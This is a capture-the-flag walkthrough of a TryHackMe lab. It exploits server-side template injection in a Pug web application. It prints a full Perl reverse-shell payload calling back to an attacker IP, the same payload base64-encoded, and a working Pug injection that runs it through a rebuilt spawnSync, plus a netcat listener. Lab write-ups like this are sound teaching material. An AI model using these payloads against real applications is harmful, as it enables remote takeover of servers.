CTF : Templates

Informations

IP: 10.10.212.145
MYIP: 10.8.16.133

Instructions

My favourite type of dog is a pug... and, you know what, Pug is my favourite templating engine too! I made this super slick application so you can play around with Pug and see how it works. Seriously, you can do so much with Pug!

Access this challenge by deploying both the vulnerable machine by pressing the green "Start Machine" button located within this task, and the TryHackMe AttackBox by pressing the "Start AttackBox" button located at the top-right of the page.

Navigate to the following URL using the AttackBox: HTTP://10.10.212.145:5000

Vulnerabilities search

I first tried to use the template language to make it process some calculation :

#{3*3}

Screenshot

It rendered an HTML page with 9 as remplacement of the code. So it seemed that we could try an SSTI attack.

Exploit

I used this code snippet https://gist.github.com/Jasemalsadi/2862619f21453e0a6ba2462f9613b49f

First, I prepared the payload :

perl
use Socket;$i="10.8.16.133";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

Then I converted it into base64

dXNlIFNvY2tldDskaT0iMTAuOC4xNi4xMzMiOyRwPTEyMzQ7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307

And, I could inject pug code to get a remote shell

js
h1= title
p Welcome to #{3*3}

#{spawn_sync = this.process.binding('spawn_sync')}
#{ normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}}
#{spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}}
#{payload='dXNlIFNvY2tldDskaT0iMTAuOC4xNi4xMzMiOyRwPTEyMzQ7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307'}
#{resp=spawnSync('perl',['-e',(new Buffer(payload, 'base64')).toString('ascii')])}

On the attacker box I set up a netcat listener :

shell
nc -nlvp 1234

After posting the pug code I got shell :)

console
$ cat flag.txt
flag{xxxxxxxxxxxxxxxxxxxxxxx}

\o/